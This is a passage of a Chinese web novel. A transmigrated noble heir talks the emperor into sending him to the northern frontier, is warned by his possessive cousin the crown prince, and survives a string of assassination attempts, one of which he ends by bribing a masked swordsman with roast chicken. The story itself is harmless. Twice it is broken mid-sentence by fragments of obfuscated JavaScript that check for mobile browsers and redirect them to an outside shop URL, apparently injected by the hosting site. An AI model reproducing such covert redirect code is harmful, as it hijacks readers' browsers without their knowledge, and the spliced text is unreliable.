“信我江弄玦,绝无背弃表兄、背弃东宫之心。我所做一切,纵有万千难处,纵须行险,最终目的,仅是为求一个能在表兄麾下继续效力的将来。” 说罢,他再次深深俯身,前额几乎触碰到冰凉的地面,声音闷而沉:“只求表兄予我这份信任,暂勿阻拦。这便是弄玦此刻,唯一的恳求。” 话虽已至此,江弄玦却并无太多把握。 毕竟他实际上没有透露任何信息。江醉玉一个求稳之人,会答应他的理由实在太少了…… 但江弄玦也已下定决心。 哪怕江醉玉不准,他也要去做这件事的决心。 良久,久到江弄玦维持姿势的脊背开始泛起僵直的酸痛,他才听到上方传来一声极轻的,几乎像叹息的回应: “孤,准了。” 江弄玦身形一顿,说不出心中的感觉。 “谢表兄。” 这句话,包含了他的真心。 谢意是真的,唤“表兄”的心也是真的。 他重重叩首,随即利落起身,不再多言,转身退出了书房。 他背影决绝,仿佛卸下了某种重担,又仿佛扛起了更沉重的东西。 一炷香后。 书房内依旧寂静,江醉玉的目光落在虚空处,指尖无意识摩挲着温凉的玉扳指。 江弄玦最后那几乎触地的额头,如同烙印,深深灼烧在他的脑中,哪怕现在也能分毫不差地回忆起来。 “唯一的恳求……孤该满意的。” 他低声自语,声音在空旷的殿内几不可闻。 他处心积虑地打磨、引导、束缚,将江弄玦这块可塑之才,精雕细琢成一件令人望而生叹的玉器,不正是满足他这份深藏的私欲吗? 江醉玉想要他完美,想要他耀眼,更想要他绝对洁净、绝对忠诚。 这尊精美的玉器若该有心,也该是颗晶莹剔透、只映照“江醉玉”一人的玲珑心。 正因如此,他才格外厌弃、乃至无法容忍江弄玦总是做出些容易“弄脏”自己的事——为不相干的人冒险,为无所谓的义气出头,将心思分给不值得的人和事。 既如此,那不如就永远待在他身边,眼中只看他吩咐的事,心中也只装与他相关的念想便好了。 所以,当江弄玦跪在地上求自己一个“信任”的时候,他本该满意的。 可当这一幕真的降临时,他心中的第一反应,竟非得偿所愿的满足,而是一种全然陌生的、细密绵长的酸涩, 甚至……一丝清晰道无法令他忽视的刺痛。 这感觉,陌生而令人不悦,更让他自己都愕然。 就像一位技艺高超的驯兽师一直试图驯化一头骄傲的狮子,日复一日精心计算着每一次的靠近与训诫。 可当那一刻终于来临,他发现那并非是它臣服了,而是他命垂一线,别无选择,只能将脆弱的脖颈送到驯兽师的手中,换取一线生机。 那姿态里没有江醉玉所期待的、无意识的温顺与依恋,只有一种被逼至绝境的疲惫。这甚至不是妥协,而是一场冰冷的交易。 这绝非是他想要的。 江醉玉要的,是无条件的、下意识的亲近与信任,是即便不解也愿意跟随他的盲从,而非现在这般——江弄玦擅自揣摩了他的反应,预判了他的不允,然后再以这般姿态来“求”他。 江弄玦,会敬畏他,会学习他,会感激他,唯独没有真正地卸下对他的防备之心。 不悦。 甚至是,一种更为粘稠的…… 江醉玉清晰地意识到这份情绪后面的是什么,就像李辞禅走后他所意识到的—— 是失控感。 是被江弄玦排除在外的冷意。 是他那不可言说的…… 江醉玉扣紧了拇指上的玉扳指,指节泛白。他无声地深吸了一口气,仿佛要将胸腔中那陌生而汹涌的酸涩、刺痛与不悦,全部吸入,然后—— 狠狠压回那座理智的冰层下。 另一边。 江弄玦请求面圣的帖子递上去不久,便得了回复。 他被宫人无声地引着,穿过一道道宫门与回廊。步履沉稳,心跳却如擂鼓。袖中,那封父亲染着病气的密信,和另一份他亲手拟就、墨迹未干的陈情纲要,仿佛烙铁般滚烫。 御书房那扇沉重的雕龙木门就在眼前,如同巨兽之口。 领路的宫人躬身退至一旁。 江弄玦在门前驻足,闭眼,深深吸了一口气,再缓缓吐出,连同所有恐惧与犹豫,尽数压入心底最深处。 再睁眼时,面上已是一片沉静的肃穆。 他推门而入,目光微垂,步履从容地行至御案前恰当的距离,撩袍,跪拜,动作流畅而不失气度。 清越而平稳的声音,在静得能听见自己心跳的御书房内响起: “臣,镇北王世子江弄玦,参见陛下。” 11. 本世子口才最棒 “起来吧。” 皇帝威严低沉的声音自御案后传来。 江弄玦依言起身,垂首而立:“臣,谢陛下。” 他姿态恭谨,目光落在身前三步光可鉴人的金砖上。 这五年间,江弄玦面圣的次数屈指可数。 每一次,都需调动全部心神来应对这位主宰天下生杀予夺的帝王。 此刻,那道属于九五之尊的威压,依然沉甸甸地笼罩下来,让他不自觉地放轻呼吸。 御案后,皇帝并未急于批阅奏章,而是目光平静地落在殿中这位年轻的世子身上。 五年光阴,足以让一个少年褪去青涩。 眼前的江弄玦身姿挺拔,容貌清隽,气度沉静,倒确有几分其父年轻时的风采,只是眉眼间更多了几分属于京城的温润与不易察觉的紧绷。 “此时来寻朕,”皇帝开口,“可是有什么事?” 江弄玦知道,第一句话至关重要,必须直接切入核心,却又不能过于急切或惊惶。 他再次躬身,声音在寂静的大殿中显得格外清晰: “回陛下,臣昨夜收到北疆家书,得知父王沉疴难起,病势已极为沉重。臣身为人子,忧心如焚,五内俱焚。故而冒昧觐见,恳请陛下隆恩——” 他顿了顿,抬起眼,目光恳切而坚定地迎向御座,说出了那个既在情理之中、又石破天惊的请求: “准臣即刻返回北疆,侍奉父王榻前,以尽人子孝道。同时,父王在信中提及,北疆军务繁重,他恐无力再理,心念社稷安宁,愿将镇北军指挥之权奉还朝廷。唯望陛下念及镇北一脉世代戍边之苦劳,允臣承袭王爵,并妥善安置军中老臣旧部,以安边疆军民之心。” 话音落下,御书房内落针可闻。 御案后,皇帝的神色并未如江弄玦预想中那般震怒或沉吟,反而平静得有些过分。 他甚至没有立刻去看江弄玦呈上的那封“家书”抄本,只是将身体向后靠了靠,目光深不可测地落在殿中年轻人挺直的脊背上。 “呵呵。” 良久,皇帝低低笑了两声。那笑声里没有多少暖意,更像是某种了然于胸的、略带讽刺的确认。 “你父王……倒是替朕,也替你,想得周全。”他慢条斯理地开口,“交还兵权,求袭王爵,安抚旧部,听着确是忠孝两全,为君分忧。其实,他早有上书提过此事。” 他话锋陡然一转,目光如电射来:“只是,江弄玦,你说得倒是轻巧。你可知,这其中真正的关卡,难于何处?” 这问题也在江弄玦的预料之中。 皇帝必然早已洞悉镇北王这“以退为进”布局背后的所有风险。 兵权不是想交就能平稳交接的,王爵不是想袭就能安稳坐住的,那些尸山血海里杀出来的将军们,更不是一句“妥善安置”就能打发的。 皇帝此问,是在问他江弄玦,你凭什么觉得自己能走过去?你手中的筹码是什么? 面对帝王质问中那如有实质的压力,江弄玦面色不改,背脊挺得笔直,目光澄澈而坚定地迎上。 他并未被问住,反而冷静而清晰地开始阐述: “回陛下,臣不敢言轻巧,深知此去如赴刀山火海。关卡有三,亦是臣请求陛下恩准并予以支持的关键。” “其一,在于名不正则言不顺。臣年少,离北疆三载,身无军功,纵有世子之名,恐也难以服众,反易激起变数。此非父王一封书信或陛下一道旨意所能全然平息。故臣斗胆请旨,恳请陛下派遣一心腹重臣为钦差,持节督军,与臣同行。” “有钦差在场见证、监督,臣之行止皆在陛下眼中,军中若有不服者,亦不敢公然抗旨。此为一解。” “其二,在于人心叵测。”江弄玦语速平稳,吐字清晰,“镇北军并非铁板一块,有功高老将,亦有新晋英才,更难免有窥伺权柄、或与朝中其他势力有所勾连之辈。父王一旦倒下,权力真空,必生乱象。臣需要陛下给予知情之权与酌情之权。” 他略微停顿,见皇帝目光幽深未语,便继续:“所谓‘知情’,是请陛下允准随行钦差与臣,有权调阅北疆近年军务、粮饷、人事之档案,以便分辨忠奸。” “所谓‘酌情’,是请陛下赐予决断之权。对于确凿无疑的谋逆、通敌、为害边疆之徒,臣与钦差可商议后,当机立断,以雷霆手段处置,先斩后奏,以儆效尤。如此,方可迅速震慑屑小,稳住大局。” “其三,亦是臣最忧心之处,在于蛮族趁机行事。”江弄玦语气愈发沉重,“北疆蛮族,狼子野心,从未有一日忘却南下。若我军内部生乱,必被其视为天赐良机。届时内忧外患,则北疆危矣,国门危矣!” 说到这里,他再次深深一揖: “故此,臣之最终所请,并非长久执掌兵权。臣愿立军令状,此去北疆,唯一要务,便是借陛下天威与父王余泽,在最短时间内,平复军内,整肃军纪,将一支稳定、忠于朝廷的镇北军,完整交还于陛下手中!” “待大局初定,便是臣卸下职责,回京复命之时。届时,臣只愿承袭虚爵,于陛下与太子殿下麾下,尽一份绵薄之力,以报天恩。” 江弄玦的话音落下,御书房内再次陷入了沉寂。唯有鎏金香炉中升起的袅袅青烟,笔直而上,仿佛凝固在空气中。 而江弄玦的后背早已浸湿,此刻他也没有百分百的把握说服皇帝。 皇帝的目光从江弄玦身上缓缓移开,落在了那封被太监恭敬捧着的“家书”上。 他没有去拿,只是看着,仿佛能透过信封,看到那位远在北疆、与自己博弈了大半生的弟弟——那人苍白却依旧锐利的面容。 “临时接管,功成身退……”皇帝低声重复了这八个字,“你父王,可曾教你这些?” 江弄玦心念电转,躬身答道:“父王只教了臣为人子的孝道,为人臣的忠义,以及守疆卫国之责。至于具体如何行事,父王言道:‘陛下圣明烛照,朝廷自有法度,你当谨遵圣意,依律而行。’” 皇帝闻言,嘴角几不可察地动了一下,不知是嘲弄还是别的什么。 “知情权,酌情权……”他慢慢咀嚼着这两个词,“还要朕派钦差与你同去,替你背书,替你压阵。江弄玦,你倒是很会替朕安排。” 江弄玦立刻撩袍跪下,姿态放得极低:“臣不敢!臣年轻,才疏学浅,若无陛下龙威震慑,若无朝廷法度依凭,此去必定寸步难行,非但不能为陛下分忧,恐反会酿成大祸。” “此举绝非安排,实乃臣惶恐无知,恳求陛下庇护指点!所有权限,皆在陛下钦差监察之下行使。所有决断,必先与钦差商议,最终仍须陛下圣裁。臣绝无他念!” 皇帝沉默了。 这一次的沉默格外漫长。 他不再看江弄玦,而是将目光投向了窗外辽远的天空,手指在御案光滑的表面上,有一下没一下地轻轻敲击着。 他在权衡。 他的好弟弟向来聪明。 镇北王的部署在江弄玦来陈情之前,他便构想出十之八九了。 镇北王这一手“交权”,是阳谋,逼他不得不接。江弄玦此刻的陈情,同样是一个阳谋。 派心腹督军,给予有限权限,让这个看起来还算知进退的世子回去平乱,快速稳定北疆,然后将兵权顺利收归中央指派的人。 这听起来,确实比坐视北疆内乱、蛮族入侵,或者强行空降将领可能引发的剧烈反弹,要稳妥得多。 最重要的是,江弄玦主动提出了“功成身退”,将最终兵权的归属决定权,明确地交还到了他的手里。 风险在于,这个年轻的世子,是否真的有能力在虎狼环伺中完成这一切?他会不会一旦掌兵,就变了心思?或者,他根本就是镇北王布下的另一枚更深的棋子? 皇帝的目光重新落回跪得笔直的年轻身影上。 五年东宫伴读,玉儿对他非同寻常的看重,林家、李家的关系,之前那些关于他心善的风评,以及方才镇定自若的陈情……这个孩子,似乎确实与寻常藩王世子不同。 或许,可以一用? 至少,比那些老奸巨猾的军中宿将,要好控制得多。 终于,敲击桌面的手指停了下来。 “江弄玦。”皇帝的声音恢复了惯常的威严,不复之前的探究与嘲讽,而是做出了决断的语气。 “臣在。”江弄玦心提到了嗓子眼。 “你的孝心,朕知道了。镇北王为国戍边,劳苦功高,如今病重,朕心亦戚。你归藩侍疾,乃人伦常情,朕准了。” 江弄玦心中一松,但知道重点在后面。 “至于镇北军事务……”皇帝顿了顿,每个字都说得极重,“既是你父王所请,朕便依你所奏。” “着镇北王世子江弄玦,即刻返北疆,暂理军务,安抚军民。朕会派员随行,协理督查。一应事宜,需与钦差会同办理,紧要军情,须即刻六百里加急直报朕知。待北疆平靖,军权交接妥当之后,你再回京复命,朕自有封赏。” “臣,领旨!” “谢陛下隆恩!” 江弄玦重重叩首,额头触地,冰凉的金砖传来真实的触感。 成了! 虽然过程如履薄冰,但最关键的一步,迈出去了! “不过,”皇帝的声音再次响起,带着一丝冷意,“江弄玦,记住你今日在朕面前说的话。朕给你机会,是看在你父王的面上,也是看在你尚知进退。” “望你好自为之,莫要让朕失望,更莫要让太子失望。” “臣,谨记陛下教诲!必不负陛下天恩,不负太子殿下信重!” 江弄玦再次叩首,声音坚定无比。 “去吧。钦差人选及具体章程,稍后自有旨意。” “臣,告退。” 江弄玦保持着恭谨的姿态,一步步退出御书房。 直到厚重的门扉在身后合拢,隔绝了那无处不在的帝王威压,他才松了松肩颈,感到心中压的大石轻松了一些。 回到撷玉轩,他甚至还来不及坐下喝口茶,仅过了半个时辰,便有内侍来传旨你,仿佛早早便写好了这圣旨。 意料之外,却也在情理之中。 速度如此之快,只能说明两件事。 其一,镇北王的奏书恐怕早已秘密送至御前,甚至可能早于他收到密信的时间。 其二,皇帝对此事的考量与布局大抵早已在心中推演过无数遍,更甚至连人选和章程都备好了数套方案。今日他的面圣陈情,或许只是恰好扣动了最后一个关节。 如此想来,他那便宜老爹倒是替他准备得周全。 江弄玦接下圣旨,送走内侍,没有耽搁,转身又去了东宫。 到了东宫,他先将此事经纬转告给了林知尘。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515980|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听后,林知尘只是叹气,用扇子轻轻点了点江弄玦的手臂: “罢了,事已至此,想必你心中早有成算。只是军中龙潭虎穴,步步杀机。你行事务必慎之又慎。” “明白。”江弄玦点头,听到友人的关心他也不禁心中宽慰,“京中诸事,幕僚与城外粥棚,还有茶舍那边,还得劳烦你多费心了。” “这个你放心。”林知尘重新展开扇子,恢复平常的从容神色,“你就只管应付北疆之事吧。” 他顿了顿,又凑近问:“倒是殿下那边,你……打算如何说?” 江弄玦深吸一口气,整理了衣袖:“面圣前我便先求了殿下一个应允。同你说完,待会儿我就去面见殿下。” 林知尘目送江弄玦离开,欲言又止,最终只是轻轻摇了摇头。 太子书房,香烟袅袅,日光透过雕花长窗,在地面投下明暗交错的光斑。 江醉玉只是静坐在案后,手中那枚温润的玉扳指在之间缓缓转动。 听到通报,他眼皮都未抬,只淡淡道:“来了。” “臣,参见殿下。”江弄玦参拜,姿态恭敬。 “圣旨接到了?” 江醉玉的问话直接,甚至带着点明知故问的淡漠。 江弄玦后来面圣的细节,他早已通过自己的渠道只晓得一清二楚,此刻不过是走个过场罢了。 江弄玦如实禀报,语气平稳:“是。陛下隆恩,准臣返北疆侍疾,暂理军务,并派钦差随行督查。” “嗯。”江醉玉终于抬眼,目光沉静地落在他身上,那视线如有实质。 “计划得很周全。连钦差督军、连临机决断之权都替你考虑到了。你父王教得不错,你学得也好。” 江弄玦心下一凛,听出江醉玉果然已从信息渠道知晓了陈情的细节,甚至洞悉了布局背后的精妙与无奈。 他保持着垂首的姿态:“全赖陛下圣明,体恤臣下艰难。” “圣明……”江醉玉重复了一句,唇角似乎扯动了一下,却未形成笑意。 他将玉扳指轻轻扣在案上,发出“哒”的一声轻响,在过分安静地室内显得格外清晰。 “弄玦,”他唤道,声音比方才更缓慢,字字犹如冰珠落玉盘,“抬起头来。” 江弄玦依言抬头,对上那双深不见底的墨色眼眸。 “你之前求孤信你,暂勿阻拦。”江醉玉的声音很缓,“如今圣旨已下,木已成舟。孤即便想拦,也拦不住了。” 江弄玦立刻道:“臣不敢!皆因前路艰险,恐行事之间或有不得已处,令殿下误解,故而……” “孤知道。” 江醉玉打断了他,目光不动,却似乎柔和了一些。 “你父王病重,北疆局势复杂,你回去,是你的责任。你能想到借力朝廷,以钦差为凭,以退为进,保全自身,已算是思虑周详。” 竟然……肯定了他? 江弄玦有些讶异,更不敢放松警惕。 “但是,” 果然,江醉玉话锋一转,站起身来,绕过宽大的书案,缓步向他逼近。 一步,两步。 距离并未拉得很近,却有种山岳倾轧般的压迫感。 “弄玦,你记住——”他停在江弄玦身前一步之遥,“无论如何,你的根,你的名分……” 他略顿,声音压得极低,仅容两人听见,确保每一个字都凿进对方心里。 “你将来在京中、在这朝堂的立身之所,皆系于东宫,系于孤。” 他倾身更近,吐息几乎拂过江弄玦的耳廓,带着冰冷和江弄玦难以察觉的占有。 “莫要忘了你曾说过的那些话。” “也莫要忘了……你是谁的人。” 江弄玦脊背瞬间绷得笔直,如同拉满的弓。 他垂下眼帘,遮住眸中瞬间翻涌的惊涛骇浪——被看穿的惊疑、对被支配感到本能的抗拒与恐惧,还有一丝更深沉的,连他自己都未必全然明了的复杂情绪。最终,所有这些被他强行压下,化作恭顺的一句: “臣,谨记殿下教诲,永世不忘。” “好。”江醉玉直起身来,拉开距离。 他静默片刻,看着江弄玦低垂着、显得白皙耳脆弱的后颈,忽然补了一句:“即使孤提前知晓你陈情的每一个字,孤也不会拦你。” 江弄玦闻言,下意识抬头,脸上竭力维持的平静终于被一丝真实的哑然打破。 他怎么也没想到会从江醉玉口中听到这样的话。 而这下意识的、未经掩饰的真实反应却像一根细刺,恰好扎进江醉玉心中那块之前被理智强行压下的不快之地,那股不悦再次隐隐翻涌。 他神情微冷:“还有,孤说过,只有你我二人时,唤孤表兄即可。” 他不再看江弄玦,侧身望向窗外,摆了摆手,声音恢复了疏离: “走吧。早些准备。北疆苦寒,京中……自有孤在。” 江弄玦缓缓起身,动了动嘴唇,顺从地改口:“谢表兄。” 他再次深深一揖,一步步退出了书房。 门关上,隔绝了两个世界。 书房内重归寂静。 江醉玉重新坐回案后,指尖无意识地摩挲着那枚重新戴回的玉扳指,触感冰凉。 他的目光则投向了窗外—— 天高云舒,正是北疆的方向。 12. 本世子被刺杀 “小李将军——有您的信!” 李辞禅摘下头盔,随手借住部下递上的几封薄厚不一的信件。 他快速翻看,目光意义扫过信封上的落款与印戳—— 兄长、兵部文书、京中旧友…… 直到指尖触到一封没有署名、只有特殊火漆封缄的简短信筒。 他忽然动作一顿,指节微微收紧。随即,他将其他信件往怀中一揣,转身对仍在校场上汗如雨下的士兵们沉声道: “自行训练阵型,一刻钟后列队校检。” 说罢,不待众人反应,他已大步朝着自己的营长走去,玄色披风在身后随风飘扬。 见小煞神的身影迅速消失在营帐后,校场上紧绷的氛围骤然一松,响起一片压抑的吐气声和议论声。 “真稀罕,小李将军竟会在操练中途撂下咱们……” 一个老兵面露挪揄:“估计是收到那位的来信了!上回我当值送信,除了李大公子的例行问讯,就数那封没署名的信筒,让他眼神都变了,抓着信转头就扎进帐里,半天没出来。” 旁边的新兵听得好奇:“那位?哪位啊?能让咱们将军这么……” “啧,小声!”老兵连忙示意,“还能有谁!据说跟咱们将军是过命的交情,以前在京城就形影不离的……我估计八九不离十,就是那位了。” 营帐内。 李辞禅立即寻来匕首,立刻划开了信筒的密封,抽出其中的信纸。 熟悉的字迹跃入眼帘——清隽舒展,笔锋转折中带着一丝不易察觉的锋利。 正是江弄玦的字。 他几乎是屏住呼吸,一目十行地扫过纸面。 信不长,信息量却极大。 江弄玦先言简意赅地说明了自己奉旨前往北疆的事情经过,又含蓄地提及此事背后的凶险和身不由己。又交代了自己离开后,一切事宜暂托于林知尘管理。 他甚至交代了后事——若自己万一回不来了,让李辞禅回去找林知尘。 ——JUE 信末没有落款,只有三个奇怪的符号。 江弄玦曾玩笑般地告诉他,说那叫英文字母。 李辞禅当时只觉得这人脑子里净装些稀奇古怪的东西。但此刻,通过这奇怪却独一无二的符号,李辞禅便能确定这是江弄玦亲手所写的信。 ——交代后事。 李辞禅捏着信纸的手指微微用力,指节渐白。 北疆。 那是比西北更复杂的泥潭。军中派系各立,蛮族虎视眈眈,皇帝心思难测。 镇北王当真是给江弄玦留了个天大的烂摊子。 “……江弄玦。”他将这个名字低低地念了出来。 李辞禅站在原地,营帐的阴影将他高大的身形吞没大半。一种前所未有、几乎将他吞噬的烦躁难安,如同蟒蛇一般缠住了他的心脏,越收越紧。 他本以为先建功立业,拥有足够的力量与资本,方能堂堂正正回京对江弄玦徐徐图之,让他慢慢接受自己。 他本以为,时间站在他这边。 但北疆一行,像一道猝不及防的霹雳。 无人能保证江弄玦的安危,一分一毫的把握都没有。 如果江弄玦受伤…… 这个念头刚起,李辞禅的心脏便猛地一缩,眼前不受控制地闪过当年秋猎时的画面—— 乱石,江弄玦失控坠马的身影, 以及那让他疯魔般搜寻了整整三天的、无时无刻的恐惧与绝望。 而这次,他离江弄玦更远,远到甚至连确切的消息,都要迟来许久。 比如—— 江弄玦遭人陷害,身死北疆。 仅仅是假设,一股刺骨的寒凉便瞬间沿着脊髓窜遍全身。 不行。 绝对不行。 他需要做点什么。 必须做点什么。 立刻、马上。 此时的江弄玦,已在皇帝的安排下,带着钦差监军与随行卫队向北疆行进了两周有余。 此时,他正在临时驻扎的营帐中,阅览朱刃呈上的最新情报。 收到镇北王家书时,他便让朱刃火速办了三件事。 一是主动搜集镇北军的“污点”,用于写陈情书,以示弱在皇帝树立一个“可被操纵”的形象。 二是查出北疆军中各将领的软肋,并彻查之前京中关于江弄玦身世流言的散播者。 最初,确有镇北王为了道德绑架皇帝而推波助澜的痕迹。随后愈演愈烈的发酵,其背后有着陆相一党的影子。 这证实了江弄玦当时的猜测:他们最可能趁机在北疆权力更迭之际往里面塞人。他这番北疆之行的背后,恐怕也有他们的功劳。 三是全面接管镇北王给他的用于“夺权”的刀。各处暗线将会给江弄玦同步北疆最重要、最新的情报,也就是江弄玦现在手中的这份暗报。 其中包含了北疆核心将领们最新的动向、联盟,还有朝廷钦差队伍中某些随行人员的背景深挖。有了这份情报书,他便可以悄无声息地远程指挥暗部,动员可以争取的己方力量了。 这一路上,并非一帆风顺。 最初随军对他多少有点意见,毕竟他身无军功,又是以“侍疾理政”之名北上,而非沙场厮杀。 但出军第三天,一场行刺彻底改变了众人的看法。 当夜,刺客来势汹汹,直指中军主帐。江弄玦却似早有警觉,非但分毫不慌,反而展现出与其清隽外表截然不同的凌厉身手和果决狠辣,当场反杀了两名刺客。 而后他镇定指挥,配合卫兵,最终生擒一名刺客。虽然事后没能审问出主使,但他的雷霆手段和沉稳的气度却让随军不得不开始重视这位世子爷。 加之此次督军是皇帝的心腹,为人公正,在他维持军纪的辅佐下,江弄玦得以在队伍内部站稳了阵脚。 说到行刺,短短两周内,江弄玦在夜里被突袭四回了。 随着离北疆越来越近,行刺的频度和出手的狠辣越发让人难以应付。每一次袭击都更刁钻,更贴近核心防卫圈。 这一系列的刺杀明显是由多方势力谋划的。无论是北疆还是朝廷内部,甚至是蛮族安插的细作,江弄玦一死,可以从中获利的人太多了。 当然,江弄玦也察觉到,除去自己的暗部,每次刺杀中也会诡异地涌出来路不明、却明显保护他的势力。 这虽也在江弄玦的预料之内,可他也没自信能全然依靠这些“友军”抵挡住接下来更加猛烈的刺杀。 烛火下,江弄玦耳尖微动,听到了帐外传来喧嚷与兵刃相接的声音。 又来了。 他放下密报,指尖用力按了按突突直跳的眉心。 这都不算刺杀了,纯纯来消磨他精神的。对方的目的也许不仅是取他性命,更是要让他在到达北疆之前变得身心俱疲,失去稳定的决策力。届时,他一个出错,哪怕已经揽权在手,恐怕也会死无葬身之地。 指尖挪开,江弄玦神情中的疲惫被强行压下,眼中唯有冰冷的锐光。 帐外的厮杀声愈发清晰。他没有立刻冲出去,而是迅速将重要文书收好,检查身上的暗器与护具,随后抬手拿剑,走向帐门。 帐外众人见江弄玦现身,随即纷纷涌来——有保护他的,也有持剑来索命的。 江弄玦侧身横剑挡住一击,配合卫兵合力斩杀来人。不及喘气,便听兵器的破空声从侧面袭来…… 这次刺杀,江弄玦没能擒住任何活口。似乎这次来的都是死士,一有被擒住的迹象时,对方便当即服毒自尽,不留半分审问的余地。 江弄玦虽然仗着身手和亲卫的拼死维护未曾受伤,但接连的高强度戒备与厮杀,难免让他筋疲力尽。 此时,空气中弥漫着血腥味与死亡气息,更对幸存的士兵产生了精神上沉重的损耗。 江弄玦强打精神,指挥善后,待军心稍定后,才拖着灌了铅般沉重的四肢回了主帐。 他一边动作迟缓地卸下沉重的兵甲,一边低声叹气:“这日子真是没法过了。” 刚才战斗时肾上激素飙升还感觉不到,现在他松懈下来,便觉得肌肉酸痛如潮水般涌上。 正当他弯腰,准备解开小腿上的软甲时—— 异变突生! 没有破风声,没有衣袂响动,甚至没有一丝杀气泄露。 仿佛只是烛火颤动一瞬,一道凝练到极致的冰冷剑风,已如凭空出现般,直指他毫无防备的后脑勺! 江弄玦全身汗毛在千分之一秒内炸起,根本来不及思考,更遑论呼喊——任何多余的分神或动作都只会让死亡降临得更快。 一切感官都在求生的本能下被拉伸、放大。在他眼中,如同被拆解成一帧一帧缓慢而清晰的画面: 凭借多年苦练近乎刻入骨髓的肌肉记忆,以及对身体精准的控制,他极限而狼狈地向一侧滚去,但依旧被剑气划破了手臂的皮肉。 翻滚的冲劲未尽,他借着帐内的烛光,捕捉到了来袭者的惊鸿一瞥—— 上半脸戴着毫无纹饰的金属面具,静立在他方才的位置后面,仿佛一开始就站在那里。面具后的眼睛看不出情绪,甚至看不清焦点。 没有停顿,没有间隙。 就在江弄玦视线触及对方的瞬间,那如暴雨般的攻击猛然袭来。 剑光化为剑雨般封锁了他所有可能的闪避空间和反击角度,如影随形,倾泻而来。 在身体和精神都已濒临枯竭的此刻,江弄玦多一丝杂念都不敢有。他全部的意志与残存的气力,都倾注于不断的格挡、闪避、再格挡的循环中。 每一个动作都游走在生死边缘,慢上一分,偏上一毫,那冰冷无情的剑锋便会顷刻割开他的喉咙,或刺穿他的心脏! 此人身手,远超此前所有刺客。 甚至,在“杀人”这门技艺上,可能比李辞禅都更为纯粹而可怕。 他招招致命,却感受不到分毫属于“人”的杀意或急躁,更像是在执行一套完美无缺的程序,或者仅仅是在完成“挥剑”这个动作本身。 与如此境界的对手过招,不过几息之间,江弄玦便觉内力滞涩,手臂酸麻,眼前阵阵发黑。 力竭。 这两个字如同丧钟,在他越发沉重的脑中嗡鸣。 不可以…… 决不能死在这里。 江弄玦咬着牙,口中蔓延着一股铁锈味。 他苟了这么多年,战战兢兢,好不容易争得一线生机,有了在棋盘上存活的资本。 怎么能,就这么不明不白地死在这里! 不能硬拼。 得想办法,动脑子! 江弄玦,动脑啊! 就在他心神急转,试图从狂风暴雨般的攻势中寻找到哪怕一丝破绽的刹那—— “咔!” 一声轻微却清晰的脆响。 对方手中那柄看似平凡的长剑,在一次并非猛烈的格挡中,竟从中断开了! 剑的前半段“叮当”一声落在地上。 江弄玦一愣,下意识后退半步,喘息着,惊疑不定地看向对方。 这剑……质量就这吗?这等水平的刺客,怎会随便用剑。还是说…… 却见对方只是身形微滞,看都没看地上的断剑,将残存的另一半随手甩开,另一只手极其自然地从腰间抽出了…… 一根还带着许些叶片的竹竿? 竹子约莫三尺来长,拇指粗细,新鲜得仿佛刚从竹林里折下。 江弄玦瞳孔微缩。 他立刻明白了—— 武器是什么并不重要,到了这杀人怪物的手中,就不是凡物了。竹竿在他掌中,比神兵利器更致命。 等等! 为什么是竹子? 这人的武器,根本是随手拿的! 电光火石间,江弄玦脑中爆发一阵灵光。 生死关头,他强压所有慌乱与疲惫,将心神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面具后那双一直没什么焦点的眼睛,此刻却直勾勾地落在了那只香气犹存的烤鸡上。 江弄玦劫后余生般剧烈喘息,后背早已被冷汗浸透。看到对方死机的反应时,他眸光锃亮! 赌对了! 狂喜与庆幸闪过一瞬,立刻被谨慎取代。 当然,江弄玦不敢趁机反杀,他怕自己的杀意或动静让这位大神回过神来,想起吃鸡前还没解决他这个小虾米。 他压下狂跳的心脏和发软的双腿,迅速调整呼吸,让自己听起来尽可能镇定,带着一□□哄,对着那尊“托鸡思鸡”的雕塑开口: “那只鸡凉了,味道差得远。” 江弄玦咽了咽口水,吐字清晰,带着诚意: “只要你放下竹子,像这样的烤鸡,刚出炉的、滋滋冒油的,我能让你吃到腻。” 话落,帐内寂静了一瞬。 随即,一个声音响起: “收买。” 语调平直,声音是意外的清越干净,甚至带着点少年人特有的微哑。 面具人说话了! 江弄玦心中一块巨石轰然落地,几乎欣慰到热泪盈眶。 能沟通,就有转机! 更让他松了口气的是,随着这声“收买”,对方那根抵在他喉咙三寸前的竹竿,缓缓地、带着一丝不情愿地收了回去,随意地垂在了身侧。 面具人托鸡转向江弄玦,江弄玦得以更加仔细地观察对方。 那面具看着质朴,颜色暗沉,但材质非金非木,边缘与面部贴合度极高,显然是特制的。 这让江弄玦联想到以前在某本杂记里读到的只言片语,关于一个神秘莫测的杀手组织。 面具孔洞后的那双眼睛,是少见的琥珀色,色泽纯净,宛若无机质的水晶。 此刻,这双眼里清晰地映出江弄玦狼狈的模样,却依旧没有杀意,反透露出一种茫然与懵懂。面具下方露出冷白色的下半脸,下颌线条流畅精致,唇形姣好而颜色浅淡。即使未见全貌,也足以让人确信,面具之后定然是张极为出色的脸。 年纪尚轻,武力值却高得如此离谱,再结合那张特制的面具。 江弄玦心脏猛地一跳,一个在游戏资料库里被标红的名称蹦入脑海—— 涧中林。 那个乙游中被标注为“大雍第一杀手组织”,接单看心情且索价极高的神秘团体。而男主之一的夏拾欢,正是这个组织武力巅峰的剑客。 “这是收买。” 那清越干净的声音再次响起,将江弄玦从震惊的联想中拉了回去。面具后琥珀色的眼眸平静地看着他,似乎在等待一个更好的报价。 原来涧中林的杀手……是可以临场被收买的吗?还是说只是眼前这位格外随性? 不论如何,江弄玦缓缓说出了早已打好的腹稿: 